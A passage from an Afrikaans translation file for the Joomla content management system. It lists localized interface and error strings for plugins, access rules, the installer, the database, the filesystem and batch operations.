kom nie met mekaar ooreen nie of jy het nog 'n rekening nie." JLIB_PLUGIN_ERROR_LOADING_PLUGINS="Fout met die laai van Inprop-Program: %s" JLIB_RULES_ACTION="Aksie" JLIB_RULES_ALLOWED_ADMIN="Toegelaat (Super Admin)" JLIB_RULES_ALLOWED="Toegelaat" JLIB_RULES_CONFLICT="Konflik" JLIB_RULES_DENIED="Verbode" JLIB_RULES_GROUP="%s" JLIB_RULES_GROUPS="Groepe" JLIB_RULES_INHERITED="Geërf" JLIB_RULES_INHERIT="Erf" JLIB_RULES_NOT_ALLOWED_ADMIN_CONFLICT="Konflik" JLIB_RULES_NOT_ALLOWED_ADMIN_CONFLICT="Konflik" JLIB_RULES_NOT_ALLOWED_LOCKED="Nie Toegelaat nie (Gesluit)" JLIB_RULES_NOT_ALLOWED="Nie Toegelaat nie" JLIB_RULES_NOT_SET="Nie gestel nie" JLIB_RULES_SELECT_SETTING="Kies Nuwe instelling 1" JLIB_UNKNOWN="Onbekend" JLIB_USER_ERROR_ID_NOT_EXISTS="JUser: :_load: Gebruiker %s bestaan nie" JLIB_USER_EXCEPTION_ACCESS_USERGROUP_INVALID="Gebruiker Groep bestaan nie" JLIB_UTIL_ERROR_LOADING_FEED_DATA="Fout met die laai van afvoer data" JLIB_UTIL_ERROR_XML_LOAD="Gefaal met die laai van XML lêer" JLIB_CLIENT_ERROR_JFTP_RENAME_BAD_RESPONSE_TO="JFTP: :rename: Slegte Antwoord. Bediener antwoord: %1 [Verwag: 250]. Gestuur na gidspad: %2" JLIB_DATABASE_ERROR_INVALID_NODE_RECURSION="%s: :move Gefaal - Kan nie na die kind-nodus van homself verskuif nie" JLIB_APPLICATION_ERROR_BATCH_CANNOT_CREATE="Jy is nie gemagtig om nuwe artikels in hierdie kategorie te skep nie." JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT="Jy is nie gemagtig om een of meer van hierdie items te redigeer nie." JLIB_APPLICATION_ERROR_BATCH_FAILED="Bondelopdrag het gefaal met volgende fout: %s" JLIB_APPLICATION_ERROR_BATCH_MOVE_CATEGORY_NOT_FOUND="Kan nie die bestemmings-kategorie vir hierdie verskuiwing vind nie." JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION="Ontoereikende inligting om die bondelopdrag uit te voer" JLIB_APPLICATION_SUCCESS_BATCH="Bondelproses suksesvol voltooi." JLIB_DATABASE_ERROR_MENU_CANNOT_UNSET_DEFAULT="Die Taal parameter vir hierdie menu item moet na 'Almal' gestel word. Ten minste een Verstek menu item moet die Taal parameter na 'Almal' stel, al is dit 'n veeltalige webwerf." JLIB_DATABASE_ERROR_MENU_CANNOT_UNSET_DEFAULT_DEFAULT="Ten minste een menu item moet na die Verstek gestel word." JLIB_DATABASE_ERROR_MENU_HOME_NOT_COMPONENT="Die Tuiste menu item moet 'n komponent wees." JLIB_DATABASE_ERROR_MENU_HOME_NOT_UNIQUE_IN_MENU="'n Menu mag slegs een verstek tuiste hê." JLIB_DATABASE_ERROR_MENUTYPE="Party menu items of party menu modules wat met hierdie menu-tipe verbonde is, is deur 'n ander gebruiker uitgeteken, of die verstek menu item is in hierdie menu" JLIB_DATABASE_ERROR_MENU_UNIQUE_ALIAS="'n Ander menu item met dieselfde Ouer het reeds hierdie alias" JLIB_DATABASE_ERROR_MENU_UNIQUE_ALIAS_ROOT="'n Ander menu item het reeds dieselfde alias in Wortel. Wortel is die top-vlak ouer." JLIB_DATABASE_ERROR_MENU_UNPUBLISH_DEFAULT_HOME="Kan nie verstek Tuiste ontpubliseer nie" JLIB_DATABASE_ERROR_NOT_SUPPORTED_FILE_NOT_FOUND="Tabel %s is nie ondersteun nie. Leêr nie gevind nie." JLIB_DATABASE_ERROR_ORDERDOWN_FAILED="%s: :orderDown gefaal - %s" JLIB_HTML_BATCH_COPY="Kopieer" JLIB_FILESYSTEM_GZIP_UNABLE_TO_WRITE_FILE="Kan nie na lêer (gz) skryf nie" JLIB_FILESYSTEM_GZIP_UNABLE_TO_DECOMPRESS="Kon nie data saampers nie" JLIB_FILESYSTEM_STREAM_FAILED="Kan nie string Stream registreer nie" JLIB_FILESYSTEM_TAR_UNABLE_TO_DECOMPRESS="Kan nie data ontpers nie" JLIB_FORM_BUTTON_CLEAR="Uitwis" JLIB_FORM_BUTTON_SELECT="Kies" JLIB_FORM_ERROR_FIELDS_CATEGORY_ERROR_EXTENSION_EMPTY="Ekstensie eienskap is leeg in die kategorie veld" JLIB_FORM_ERROR_FIELDS_GROUPEDLIST_ELEMENT_NAME="Onbekende element tipe: %s" JLIB_FORM_VALIDATE_FIELD_RULE_MISSING="Valideering Reël ontbreek: %s" JLIB_HTML_ACCESS_SUMMARY_DESC="Hieronder is 'n oorsig vertoon van die toegangsreg-instellings vir hierdie artikel. Kliek die oortjies bo-aan om hierdie instellings aan te pas." JLIB_HTML_BATCH_ACCESS_LABEL="Stel Toegangsvlak" JLIB_HTML_BATCH_ACCESS_LABEL_DESC="Deur nie 'n keuse te maak nie, sal die oorspronklike toegangsvlakke gedurende verwerking gebruik word." JLIB_HTML_BATCH_LANGUAGE_LABEL="Stel Taal" JLIB_HTML_BATCH_LANGUAGE_NOCHANGE="- Behou oorsponklike Taal -" JLIB_HTML_BATCH_MENU_LABEL="Kies 'n Kategorie om te Kopieer/Verskuif" JLIB_HTML_BATCH_MOVE="Verskuif" JLIB_HTML_BATCH_NOCHANGE="- Behou oorspronklike Toegangsvlakke -" JLIB_HTML_BATCH_USER_LABEL="Set Gebruiker" JLIB_HTML_BATCH_USER_LABEL_DESC="Die oorspronklike gebruiker sal behoue bly as jy nie 'n keuse maak nie." JLIB_HTML_BATCH_USER_NOCHANGE="- Behou oorspronklike Gebruiker -" JLIB_HTML_BATCH_USER_NOUSER="Geen Gebruiker nie" JLIB_HTML_BEHAVIOR_HOLD_MOUSE="- Hou die muis knoppie op enige van die boonste knoppies vir 'n vinniger selekteering." JLIB_HTML_BEHAVIOR_MONTH_SELECT="- Gebruik die < en > knoppies om die maand mee te kies\n" JLIB_HTML_BEHAVIOR_NEXT_MONTH_HOLD_FOR_MENU="Kliek om na die volgende maand te skuif. Kliek-en-hou vir 'n lys van die maande." JLIB_HTML_BEHAVIOR_NEXT_YEAR_HOLD_FOR_MENU="Kliek om na die volgende jaar te skuif.. Kliek-en-hou vir 'n lys van jare." JLIB_HTML_BEHAVIOR_PREV_MONTH_HOLD_FOR_MENU="Kliek om na die vorige maand te skuif. Kliek-en-hou vir 'n lys van die maande." JLIB_HTML_BEHAVIOR_PREV_YEAR_HOLD_FOR_MENU="Kliek om na die vorige maand te skuif.. Kliek-en-hou vir 'n lys van jare." JLIB_HTML_BEHAVIOR_SHIFT_CLICK_OR_DRAG_TO_CHANGE_VALUE="(Shift-)Kliek of sleep om die waarde te wysig." JLIB_HTML_BEHAVIOR_TT_DATE_FORMAT="%a, %b %e" JLIB_HTML_BEHAVIOR_UPLOADER_ERROR_HTTPSTATUS="Ongeldige Bediener Antwoord" JLIB_HTML_BEHAVIOR_UPLOADER_ERROR_OCCURRED="Daar was 'n fout: {error}" JLIB_HTML_BEHAVIOR_UPLOADER_PROGRESS_OVERALL="Algemene Vordering {total}" JLIB_HTML_BEHAVIOR_UPLOADER_VALIDATION_ERROR_FILELISTSIZEMAX="Totale Oplaai-grootte is te groot" JLIB_HTML_BEHAVIOR_YEAR_SELECT="- Gebruik die « en » knoppies om die jaar mee te kies\n" JLIB_HTML_BUTTON_BASE_CLASS="Kan nie knoppie basis-klas laai nie." JLIB_HTML_CLOAKING="Hierdie e-posadres word van Spambotte beskerm. Jy moet JavaScript ontsper om dit te lees." JLIB_HTML_DATE_RELATIVE_DAYS="%s dae gelede" JLIB_HTML_DATE_RELATIVE_DAYS_0="%s dae gelede" JLIB_HTML_DATE_RELATIVE_DAYS_1="%s dag gelede" JLIB_HTML_DATE_RELATIVE_HOURS="%s ure gelede" JLIB_HTML_DATE_RELATIVE_HOURS_0="%s ure gelede" JLIB_HTML_DATE_RELATIVE_HOURS_1="%s uur gelede" JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND="Kan nie die item wat verskuif moet word, vind nie." JLIB_CAPTCHA_ERROR_PLUGIN_NOT_FOUND="Captcha inprop-program nie gestel nie of nie gevind nie. Tree asseblief in verbinding met die webwerf-administrateur" JLIB_DATABASE_ERROR_LANGUAGE_UNIQUE_IMAGE="'n Inhoudstaal bestaan reeds met hierdie Beeld-Voorvoegsel" JLIB_DATABASE_ERROR_LANGUAGE_UNIQUE_LANG_CODE="'n Inhoudstaal bestaan reeds met hierdie Beeld-Merker" JLIB_DATABASE_ERROR_LANGUAGE_UNIQUE_SEF="'n Inhoudstaal bestaan reeds met hierdie URL Taalkode" JLIB_DATABASE_ERROR_MENU_DEFAULT_CHECKIN_USER_MISMATCH="Die huidige Tuiste menu vir hierdie taal is uitgeteken" JLIB_DATABASE_ERROR_PLEASE_ENTER_A_USER_NAME="Tik asseblief 'n gebruiker naam in." JLIB_DATABASE_ERROR_PLEASE_ENTER_YOUR_NAME="Tik asseblief jou naam in." JLIB_DATABASE_ERROR_REBUILDPATH_FAILED="%s: :rebuildPath Gefaal - %s" JLIB_DATABASE_ERROR_ROOT_NODE_NOT_FOUND="Wortel Nodus nie gevind nie." JLIB_DATABASE_ERROR_STORE_FAILED_UPDATE_ASSET_ID="Die asset_id veld kon nie opdateer word nie" JLIB_DATABASE_ERROR_USERGROUP_TITLE="Gebruikergroep moet 'n titel hê" JLIB_DATABASE_ERROR_USERGROUP_TITLE_EXISTS="Gebruikergroep titel bestaan reeds. Titel moet uniek wees t.o.v die Ouer." JLIB_DATABASE_ERROR_USERNAME_CANNOT_CHANGE="Kan nie hierdie gebruikernaam gebruik nie" JLIB_DATABASE_ERROR_VALID_AZ09="Tik asb. 'n geldige gebruikernaam in: Geen spasies nie, ten minste %d characters karakters lank en mag nie die volgende karakters bevat nie: < > \ "_QQ_" ' % ; ( ) &" JLIB_DATABASE_ERROR_VIEWLEVEL="Aansigsvlak ('Viewlevel') moet 'n titel hê" JLIB_FILESYSTEM_ERROR_COULD_NOT_CREATE_DIRECTORY="Kan nie lêergids skep nie" JLIB_EVENT_ERROR_DISPATCHER="JDispatcher: :register: 'Event handler' is nie herken nie. Hanteerder: %s" JLIB_FILESYSTEM_ERROR_DELETE_BASE_DIRECTORY="Jy kan nie 'n basis lêergids skrap nie." JLIB_FILESYSTEM_ERROR_FOLDER_CREATE="Kan nie vouer skep nie" JLIB_FILESYSTEM_ERROR_FOLDER_DELETE="JFolder: :delete: Kan nie vouer skrap nie. Gidspad: %s" JLIB_FILESYSTEM_ERROR_FOLDER_OPEN="Kan nie bronvouer oopmaak nie" JLIB_FILESYSTEM_ERROR_PATH_IS_NOT_A_FOLDER_FOLDER="JFolder: :folder: Gidspad is nie 'n vouer nie. Gidspad: %s" JLIB_FILESYSTEM_ERROR_STREAMS_FAILED_TO_OPEN_READER="Kan nie die leser oopmaak nie: %s" JLIB_FILESYSTEM_ERROR_STREAMS_FAILED_TO_OPEN_WRITER="Kan nie die skrywer oopmaak nie: %s" JLIB_FILESYSTEM_ERROR_STREAMS_FILE_SIZE="Kan nie lêer grootte verkry nie. Hierdie werk nie vir alle 'Streams' nie." JLIB_FILESYSTEM_ERROR_STREAMS_NOT_UPLOADED_FILE="Nie 'n opgelaaide lêer nie" JLIB_FILESYSTEM_ERROR_WARNFS_ERR01="Waarskuwing: Kan nie lêer toegangsregte wysig nie." JLIB_FILESYSTEM_ERROR_WARNFS_ERR02="Waarskuwing: Kan nie lêer verskuif nie." JLIB_FILESYSTEM_GZIP_NOT_SUPPORTED="GZlib Nie ondersteun nie" JLIB_HTML_BATCH_LANGUAGE_LABEL_DESC="Deur nie 'n keuse te maak nie, sal die oorspronklike taalkeuse behoue bly." JLIB_HTML_DATE_RELATIVE_LESSTHANAMINUTE="Minder as 'n minuut gelede" JLIB_HTML_DATE_RELATIVE_MINUTES="%s minute gelede" JLIB_HTML_DATE_RELATIVE_MINUTES_0="%s minute gelede" JLIB_HTML_DATE_RELATIVE_MINUTES_1="%s minuut gelede" JLIB_HTML_DATE_RELATIVE_WEEKS="%s weke gelede" JLIB_HTML_DATE_RELATIVE_WEEKS_0="%s weke gelede" JLIB_HTML_DATE_RELATIVE_WEEKS_1="%s week gelede" JLIB_HTML_EDITOR_CANNOT_LOAD="Kan nie die redigeerder laai nie" JLIB_HTML_ERROR_FUNCTION_NOT_SUPPORTED="Funksie nie ondersteun nie." JLIB_HTML_ERROR_NOTFOUNDINFILE="%s: :%s nie in leêr gevind nie." JLIB_HTML_NO_PARAMETERS_FOR_THIS_ITEM="Daar is geen parameters vir hierdie item nie" JLIB_HTML_PLEASE_MAKE_A_SELECTION_FROM_THE_LIST="Maak asseblief eers 'n keuse uit die lys" JLIB_HTML_PUBLISHED_PENDING_ITEM="Publiseer, maar is Hangend" JLIB_INSTALLER_ABORT_COMP_BUILDADMINMENUS_FAILED="Fout met die bou van Admin Menus" JLIB_INSTALLER_ABORT_COMP_INSTALL_PHP_UNINSTALL="Komponent Installeer: Kan nie die PHP ontinstalleer-lêer kopieer nie." JLIB_INSTALLER_ABORT_COMP_UPDATE_ADMIN_ELEMENT="Komponent Opdateering: Die XML lêer het nie 'n administrasie element bevat nie" JLIB_INSTALLER_ABORT_COMP_UPDATE_COPY_SETUP="Komponent Opdateering: Kan nie konfigurasie lêer kopieer nie." JLIB_INSTALLER_ABORT_COMP_UPDATE_PHP_UNINSTALL="Komponent Opdateer: Kan nie die PHP ontinstalleer-lêer kopieer nie." JLIB_INSTALLER_ABORT_COMP_UPDATE_SQL_ERROR="Komponent Opdateering: SQL fout-lêer %s" JLIB_INSTALLER_ABORT_DEBUG="Installeering onverwags beëindig:" JLIB_INSTALLER_ABORT_DETECTMANIFEST="Kan nie manifes lêer opspoor nie" JLIB_INSTALLER_ABORT_FILE_INSTALL_CUSTOM_INSTALL_FAILURE="Lêërs Installeer: Pasgemaakte installeer-routiene het gefaal" JLIB_INSTALLER_ABORT_FILE_INSTALL_FAIL_SOURCE_DIRECTORY="Lêërs Installeer: Kon nie die bron-lêergids vind nie: %s" JLIB_INSTALLER_ABORT_FILE_INSTALL_SQL_ERROR="Lêërs: %1: SQL fout lêer %2" JLIB_INSTALLER_ABORT_LIB_INSTALL_FAILED_TO_CREATE_DIRECTORY="Biblioteek Installeer: Kan nie lêergids skep nie: %s" JLIB_INSTALLER_ABORT_METHODNOTSUPPORTED="Metode nie vir hierdie ekstensie ondersteun nie" JLIB_INSTALLER_ABORT_METHODNOTSUPPORTED_TYPE="Metode nie vir hierdie ekstensie tipe ondersteun nie: %s" JLIB_INSTALLER_ABORT_MOD_INSTALL_CREATE_DIRECTORY="Module %1: Kan nie lêergids skep nie: %2" JLIB_INSTALLER_ABORT_MOD_INSTALL_DIRECTORY="Module %1: 'n Ander module gebruik reeds hierdie lêergids: %2" JLIB_INSTALLER_ABORT_MOD_INSTALL_MANIFEST="Module Installeer: Kan nie die PHP manifes-lêer kopieer nie." JLIB_INSTALLER_ABORT_MOD_INSTALL_NOFILE="Module %s: Geen module lêer gespesifiseer nie." JLIB_INSTALLER_ABORT_MOD_INSTALL_SQL_ERROR="Module %1: SQL fout lêer %2" JLIB_INSTALLER_ABORT_MOD_UNINSTALL_UNKNOWN_CLIENT="Module Ontinstalleer: Onbekende kliënt tipe [%s]" JLIB_INSTALLER_ABORT_MOD_UNKNOWN_CLIENT="Module %1: Onbekende kliënt tipe [%2]" JLIB_INSTALLER_ABORT_PACK_INSTALL_CREATE_DIRECTORY="Paket Installeering: Kan nie lêergids skep nie: %s " JLIB_INSTALLER_ABORT_PACK_INSTALL_ERROR_EXTENSION="Paket %1: Daar was 'n fout met die installeer van 'n ekstensie: %2" JLIB_INSTALLER_ABORT_PACK_INSTALL_NO_FILES="Paket %s: Daar was geen lêers om te installeer nie." JLIB_INSTALLER_ABORT_PACK_INSTALL_NO_PACK="Paket %s: Geen paket lêer gespesifiseer nie" JLIB_INSTALLER_ABORT_PLG_INSTALL_ALLREADY_EXISTS="Inprop-program %1: Inprop-program %2 bestaan reeds" JLIB_INSTALLER_ABORT_PLG_INSTALL_COPY_SETUP="Inprop-program %s: Kan nie konfigurasie lêer kopieer nie." JLIB_INSTALLER_ABORT_PLG_INSTALL_CREATE_DIRECTORY="Inprop-program %1: Kan nie lêergids skep nie: %2" JLIB_INSTALLER_ABORT_PLG_INSTALL_DIRECTORY="Inprop-program %1: 'n Ander Inprop-program gebruik reeds hierdie lêergids: %2" JLIB_INSTALLER_ABORT_PLG_INSTALL_NO_FILE="Inprop-program %s: Geen Inprop-program lêer gespesifiseer nie" JLIB_INSTALLER_ABORT_REFRESH_MANIFEST_CACHE="Die vernuwing van die Manifes Kas het gefaal: Ekstensie is nie tans geïnstaleer nie." JLIB_INSTALLER_ABORT_REFRESH_MANIFEST_CACHE_VALID="Die vernuwing van die Manifes Kas het gefaal: Ekstensie is nie geldig nie." JLIB_INSTALLER_ABORT_TPL_INSTALL_ANOTHER_TEMPLATE_USING_DIRECTORY="Templet Installeer: Daar is reeds 'n Templet wat die lêergids gebruik." JLIB_INSTALLER_ABORT_TPL_INSTALL_FAILED_CREATE_DIRECTORY="Templet Installeer: Daar is reeds 'n Templet wat die lêergids gebruik.%s" JLIB_INSTALLER_ERROR_COMP_DISCOVER_STORE_DETAILS="Komponent-Ontdekking installeer: Kan nie komponent gegewens stoor nie." JLIB_INSTALLER_ERROR_COMP_INSTALL_ADMIN_ELEMENT="Komponent Installeer: Die XML lêer bevat nie 'n administrasie element nie." JLIB_INSTALLER_ERROR_COMP_INSTALL_DIR_ADMIN="Komponent Installeer: 'n Ander komponent gebruik reeds die lêergids: %s" JLIB_INSTALLER_ERROR_COMP_INSTALL_DIR_SITE="Komponent Installeer: 'n Ander komponent gebruik reeds die lêergids: %s" JLIB_INSTALLER_ERROR_COMP_INSTALL_FAILED_TO_CREATE_DIRECTORY_ADMIN="Komponent Installeer: Kan nie die admin lêergids skep nie: %s" JLIB_INSTALLER_ERROR_COMP_INSTALL_FAILED_TO_CREATE_DIRECTORY_SITE="Komponent Installeer: Kan nie die webwerf lêergids skep nie: %s" JLIB_INSTALLER_ERROR_COMP_REFRESH_MANIFEST_CACHE="Komponent Vernuwing van die manifes-kas: Kan nie komponent gegewens stoor nie." JLIB_INSTALLER_ERROR_COMP_REMOVING_ADMIN_MENUS_FAILED="Kon nie die administrateur menus skrap nie." JLIB_INSTALLER_ERROR_COMP_UNINSTALL_CUSTOM="Komponent Ontinstalleer: Pasgemaakte Ontinstalleer-skrip onsuksesvol." JLIB_INSTALLER_ERROR_COMP_UNINSTALL_ERRORREMOVEMANUALLY="Komponent Ontinstalleer: Kan nie ontinstalleer nie. Verwyder asseblief per hand." JLIB_INSTALLER_ERROR_COMP_UNINSTALL_ERRORUNKOWNEXTENSION="Komponent Ontinstalleer: Onbekende Ekstensie." JLIB_INSTALLER_ERROR_COMP_UNINSTALL_FAILED_DELETE_CATEGORIES="Komponent Ontinstalleer: Kon nie die komponent kategorië skrap nie" JLIB_INSTALLER_ERROR_COMP_UNINSTALL_FAILED_REMOVE_DIRECTORY_ADMIN="Komponent Ontinstalleer: Kan nie die komponent admin lêergids skrap nie" JLIB_INSTALLER_ERROR_COMP_UNINSTALL_FAILED_REMOVE_DIRECTORY_SITE="Komponent Ontinstalleer: Kan nie die komponent webwerf lêergids skrap nie." JLIB_INSTALLER_ERROR_COMP_UNINSTALL_NO_OPTION="Komponent Ontinstalleer: Kan nie die komponent webwerf lêergids skrap nie." JLIB_INSTALLER_ERROR_COMP_UNINSTALL_SQL_ERROR="Komponent Ontinstalleer: SQL fout lêer %s" JLIB_INSTALLER_ERROR_COMP_UNINSTALL_WARNCORECOMPONENT="Komponent Ontinstalleer: Gepoog om 'n kern komponent te ontinstalleer." JLIB_INSTALLER_ERROR_COMP_UPDATE_FAILED_TO_CREATE_DIRECTORY_ADMIN="Komponent Opdateer: Kan nie admin lêergids skep nie: %s" JLIB_INSTALLER_ERROR_COMP_UPDATE_FAILED_TO_CREATE_DIRECTORY_SITE="Komponent Opdateer: Kan nie webwerf lêergids skep nie: %s" JLIB_INSTALLER_ERROR_CREATE_DIRECTORY="JInstaller: :Install: Kan nie lêergids skep nie: %s" JLIB_INSTALLER_ERROR_CREATE_FOLDER_FAILED="Kan nie lêergids skep nie [%s]" JLIB_INSTALLER_ERROR_DOWNLOAD_SERVER_CONNECT="Fout met bediener verbinding: %s" JLIB_INSTALLER_ERROR_EXTENSION_INVALID_CLIENT_IDENTIFIER="Ongeldige kliënt-identifiseerder gespesifiseer in die ekstensie-manifes." JLIB_INSTALLER_ERROR_FAIL_COPY_FILE="JInstaller: :Install: Kan nie lêer van %1 na %2 kopieer nie." JLIB_INSTALLER_ERROR_FAIL_COPY_FOLDER="JInstaller: :Install: Kan nie lêergids van %1 na %2 kopieer nie." JLIB_INSTALLER_ERROR_FAILED_READING_NETWORK_RESOURCES="Kan nie netwerk-bron lees nie: %s" JLIB_INSTALLER_ERROR_FILE_EXISTS="JInstaller: :Install: Lêer bestaan reeds %s" JLIB_INSTALLER_ABORT_FILE_SAME_NAME="Files Installeer: 'n Ander ekstensie met dieselfde naam bestaan reeds." JLIB_INSTALLER_ABORT_FILE_UPDATE_SQL_ERROR="Lêërs Opdateer: SQL fout lêer %s" JLIB_INSTALLER_ERROR_FILE_UNINSTALL_INVALID_MANIFEST="Lêer Ontinstalleer: Ongeldige manifes lêer" JLIB_INSTALLER_ERROR_FILE_UNINSTALL_INVALID_NOTFOUND_MANIFEST="Lêer Ontinstalleer: Manifes Lêer is ongeldig of kan nie gevind word nie." JLIB_INSTALLER_ERROR_FILE_UNINSTALL_LOAD_ENTRY="Lêer Ontinstalleer: Kan nie ekstensie bestand laai nie" JLIB_INSTALLER_ERROR_FILE_UNINSTALL_LOAD_MANIFEST="Lêer Ontinstalleer: Kan nie manifes lêer laai nie" JLIB_INSTALLER_ERROR_FILE_UNINSTALL_SQL_ERROR="Lêërs Ontinstalleer: SQL fout lêer %s" JLIB_INSTALLER_ERROR_FILE_UNINSTALL_WARNCOREFILE="Lêer Ontinstalleer: Probeer om kern lêers te ontinstalleer" JLIB_INSTALLER_ERROR_FOLDER_IN_USE="'n Ander ektensie gebruik reeds hierdie lêergids [%s]" JLIB_INSTALLER_ERROR_LANG_DISCOVER_STORE_DETAILS="Taal-Ontdekker installeer: Kan nie taal-gegewens stoor nie" JLIB_INSTALLER_ERROR_LANG_UNINSTALL_DIRECTORY="Taal Ontinstalleer: Kan nie die spesifiseerde taal-lêer skrap nie." JLIB_INSTALLER_ERROR_LANG_UNINSTALL_ELEMENT_EMPTY="Taal Ontinstalleer: Element is leeg, kan nie Lêërs ontinstalleer nie" JLIB_INSTALLER_ERROR_LANG_UNINSTALL_PROTECTED="Hierdie taal kan nie ontinstalleer word nie. Dit is d.m.v. die databasis beskerm (gewoonlik en-GB)" JLIB_INSTALLER_ERROR_LIB_DISCOVER_STORE_DETAILS="Biblioteek-Ontdekker installeer: Kan nie biblioteek se gegewens stoor nie" JLIB_INSTALLER_ERROR_LIB_UNINSTALL_INVALID_MANIFEST="Biblioteek Ontinstalleer: Ongeldige manifes lêer" JLIB_INSTALLER_ERROR_LIB_UNINSTALL_INVALID_NOTFOUND_MANIFEST="Biblioteek Ontinstalleer: Ongeldige manifes lêer of kan nie gevind word nie." JLIB_INSTALLER_ERROR_LIB_UNINSTALL_LOAD_MANIFEST="Biblioteek Ontinstalleer: Kan nie manifes lêer laai nie" JLIB_INSTALLER_ERROR_LIB_UNINSTALL_WARNCORELIBRARY="Biblioteek Ontinstalleer: Gepoog om 'n kern biblioteek te ontinstalleer" JLIB_INSTALLER_ERROR_MOD_DISCOVER_STORE_DETAILS="Module-Ontdekker installeer: Kan nie module se gegewens stoor nie" JLIB_INSTALLER_ERROR_MOD_REFRESH_MANIFEST_CACHE="Module Vernuwing van die manifes kas: Kan nie module se gegewens stoor nie" JLIB_INSTALLER_ERROR_MOD_UNINSTALL_ERRORUNKOWNEXTENSION="Module Ontinstalleer: Onbekende Ekstensie" JLIB_INSTALLER_ERROR_MOD_UNINSTALL_INVALID_NOTFOUND_MANIFEST="Module Ontinstalleer: Ongeldige manifes lêer of kan nie gevind word nie." JLIB_INSTALLER_ERROR_MOD_UNINSTALL_SQL_ERROR="Module Ontinstalleer: SQL fout lêer %s" JLIB_INSTALLER_ERROR_MOD_UNINSTALL_WARNCOREMODULE="Module Ontinstalleer: Gepoog om 'n kern module te ontinstalleer: %s" JLIB_INSTALLER_ERROR_NO_CORE_LANGUAGE="Geen kern paket bestaan vir hierdie taal nie [%s]" JLIB_INSTALLER_ERROR_NO_LANGUAGE_TAG="Die paket het nie 'n taal gespesifiseer nie, Probeer jy dalk om 'n ou taal paket te installeer?" JLIB_INSTALLER_ERROR_NOTFINDJOOMLAXMLSETUPFILE="JInstaller: :Install: Kan nie die Joomla! XML konfigurasie lêer vind nie" JLIB_INSTALLER_ERROR_NOTFINDXMLSETUPFILE="JInstaller: :Install: Kan nie die XML konfigurasie lêer vind nie" JLIB_INSTALLER_ERROR_PACK_UNINSTALL_INVALID_NOTFOUND_MANIFEST="Paket Ontinstalleer: Ongeldige manifes lêer of kan nie gevind word nie: %s" JLIB_INSTALLER_ERROR_PACK_UNINSTALL_MANIFEST_NOT_REMOVED="Paket Ontinstalleer: Daar was foute en die manifes lêer is dus nie verwyder nie." JLIB_INSTALLER_ERROR_PACK_UNINSTALL_MISSINGMANIFEST="Paket Ontinstalleer: Ontbrekende manifes lêer" JLIB_INSTALLER_ERROR_PACK_UNINSTALL_NOT_PROPER="Paket Ontinstalleer: Hierdie ekstensie is reeds ontinstaller of is net die heeltemal korrek ontinstalleer nie: %s" JLIB_INSTALLER_ERROR_PACK_UNINSTALL_UNKNOWN_EXTENSION="Poging om onbekende ekstensie van die paket te ontinstalleer. Hierdie ekstensie is dalk al vroeër ontinstalleer." JLIB_INSTALLER_ERROR_PACK_UNINSTALL_WARNCOREPACK="Paket Ontinstalleer: Probeer om kern paket te ontinstalleer" JLIB_INSTALLER_ERROR_PLG_DISCOVER_STORE_DETAILS="Inprop-program-Ontdekker installeer: Kan nie Inprop-program se gegewens stoor nie" JLIB_INSTALLER_ERROR_PLG_REFRESH_MANIFEST_CACHE="Inprop-program Vernuwing van die manifes kas: Kan nie Inprop-program se gegewens stoor nie" JLIB_INSTALLER_ERROR_PLG_UNINSTALL_ERRORUNKOWNEXTENSION="Inprop-program Ontinstalleer: Onbekende Ekstensie" JLIB_INSTALLER_ERROR_PLG_UNINSTALL_FOLDER_FIELD_EMPTY="Inprop-program Ontinstalleer: Vouer veld leeg, kan nie lêërs skrap nie" JLIB_INSTALLER_ERROR_PLG_UNINSTALL_INVALID_MANIFEST="Inprop-program Ontinstalleer: Ongeldige manifes lêer" JLIB_INSTALLER_ERROR_PLG_UNINSTALL_INVALID_NOTFOUND_MANIFEST="Inprop-program Ontinstalleer: Manifest lêer ongeldig of kan nie gevind word nie." JLIB_INSTALLER_ERROR_PLG_UNINSTALL_LOAD_MANIFEST="Inprop-program Ontinstalleer: Kon nie manifes lêer laai nie" JLIB_INSTALLER_ERROR_PLG_UNINSTALL_WARNCOREPLUGIN="Inprop-program Ontinstalleer: Gepoog om 'n kern Inprop-program te ontinstalleer: %s" JLIB_INSTALLER_ERROR_SQL_FILENOTFOUND="JInstaller: :Install: SQL Lêer nie gevind nie: %s" JLIB_INSTALLER_ERROR_TPL_DISCOVER_STORE_DETAILS="Templet-Ontdekker installaar: Kan nie Templet se gegewens stoor nie" JLIB_INSTALLER_ERROR_TPL_UNINSTALL_ERRORUNKOWNEXTENSION="Templet Ontinstalleer: Onbekende Ekstensie" JLIB_INSTALLER_ERROR_TPL_UNINSTALL_INVALID_CLIENT="Templet Ontinstalleer: Ongeldige kliënt." JLIB_INSTALLER_ERROR_TPL_UNINSTALL_TEMPLATE_DEFAULT="Templet Ontinstalleer: Kan nie verstek templet skrap nie." JLIB_INSTALLER_ERROR_TPL_UNINSTALL_TEMPLATE_DIRECTORY="Templet Ontinstalleer: Lêergids bestaan nie, kan nie lêërs skrap nie" JLIB_INSTALLER_ERROR_TPL_UNINSTALL_TEMPLATE_ID_EMPTY="Templet Ontinstalleer: Templet id is leeg, kan nie lêërs ontinstalleer nie" JLIB_INSTALLER_ERROR_TPL_UNINSTALL_WARNCORETEMPLATE="Templet Ontinstalleer: Gepoog om 'n kern Templet te ontinstalleer: %s" JLIB_INSTALLER_ERROR_DEPRECATED_FORMAT="Verouderde instaleer formaat (kliënt="_QQ_"albei"_QQ_"), gebruik paket-installeerder in die toekoms." JLIB_INSTALLER_NOTICE_LANG_RESET_USERS="Taal is na die Verstek-waarde gestel vir %d gebruikers" JLIB_INSTALLER_NOTICE_LANG_RESET_USERS_1="Taal is na die Verstek-waarde gestel vir %d gebruiker" JLIB_MAIL_FUNCTION_DISABLED="Die mail() funksie is gesper en e-pos boodskappe kan nie gestuur word nie." JLIB_MAIL_INVALID_EMAIL_SENDER="JMail: : Ongeldige e-pos afsender: %s, JMail: :setSender(%s)" JLIB_REGISTRY_EXCEPTION_LOAD_FORMAT_CLASS="Kan nie formaat klas laai nie" JLIB_RULES_CALCULATED_SETTING="Berekende Instelling 2" JLIB_RULES_SELECT_ALLOW_DENY_GROUP="Laat toe of sper %s vir gebruikers in die %s groep." JLIB_RULES_SETTING_NOTES="1. Indien jy die instelling wysig, sal dit op hierdie en alle afstammelings-kategorië toegepas word. Let op dat:
